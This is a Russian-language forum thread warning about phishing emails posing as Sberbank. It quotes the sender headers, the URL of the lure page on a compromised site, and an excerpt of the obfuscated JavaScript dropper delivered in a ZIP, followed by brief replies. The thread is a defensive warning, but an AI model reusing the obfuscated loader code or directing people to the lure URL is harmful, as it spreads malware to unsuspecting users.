Sign in to follow this  
Followers 0
kkey80

Странные письма, якобы от сбербанка, походу ))

4 posts in this topic

Открываю почту, а там такое:

http://c2n.me/3JGMwav

http://c2n.me/3JGMzYT

Данные об отправители:

Цитата

smtp.mailfrom=web@bifubo.han-solo.net smtp.helo=bifubo.han-solo.net

Received: from bifubo.han-solo.net ([83.138.82.17]:18929)

	by mx224.i.mail.ru with esmtp (envelope-from <web@bifubo.han-solo.net>)

X-PHP-Script: haustec.net/nofx1p/baiqkajnaac/system_m_encrypted.php for 83.138.82.17

Ссылка ведет на эту страницу: olcudekorasyon.com/wp-includes/js/tinymce/plugins/wpdialogs/sber_schet.html скачивается документ и перенаправляет на основой сайт сбера.

Прикрепленный файл пустой..

Скачивает ZIP, содержимое JS файл (отрывок):

function UH()
{
	var Aso = "";
	return Aso;
}

function uw()
{
	var hQ = "";
	return hQ;
}

function Czk(Uv)
{
	return "charAt";
}

function lo(e)
{
	var fs = UH();
	fs += "'@j_lDO`z:RKbf1wH\\[SXYQ+6 %";
	fs += "#EL(VZig0A];e/>3=|";
	fs += "Jt{5Cv2M*4)Udor~yp.F!scN";
	fs += "axuG8$T9q,^<\"PnWm7I}k&?h-B";
	var ppo=989;
	var O=ppo+8293;
	var wwo=O/14;
	var PBh=wwo-632;
	var VTu = fs[Czk(e)](e-PBh);
	return VTu;
}


function Q()
{

var c=10840;

var GYW=65489;
return "l";
}
function dgy()
{

var wA=25168;
var Mud="x0!0In#";

return Q();
}
function Mm()
{

var VI=27596;

var Poo=58729;

return "e";
}
function LV()
{

var flQ=3203;
var cpQ="U^fCDQ12-p";

return Mm();
}
function Qa()
{

var N=57801;

	return dgy()+LV();
}
function Nz()
{
return lo(5016/44+0);
}
function kxH()
{
return lo(2925/45+0);
}

 

Вот такие дела ). Будьте бдительны, возможно это только начало, для крупного взлома или еще чего...

Share this post


Link to post
Share on other sites

Вообще стараюсь не открывать ссылки из подобных писем. За инфо спасибо.

Share this post


Link to post
Share on other sites

мне за раз как то 5 таких писем пришло, а у меня на тот момент карта была заблокирована)

Share this post


Link to post
Share on other sites

Create an account or sign in to comment

You need to be a member in order to leave a comment

Create an account

Sign up for a new account in our community. It's easy!


Register a new account

Sign in

Already have an account? Sign in here.


Sign In Now
Sign in to follow this  
Followers 0

  • Recently Browsing   0 members

    No registered users viewing this page.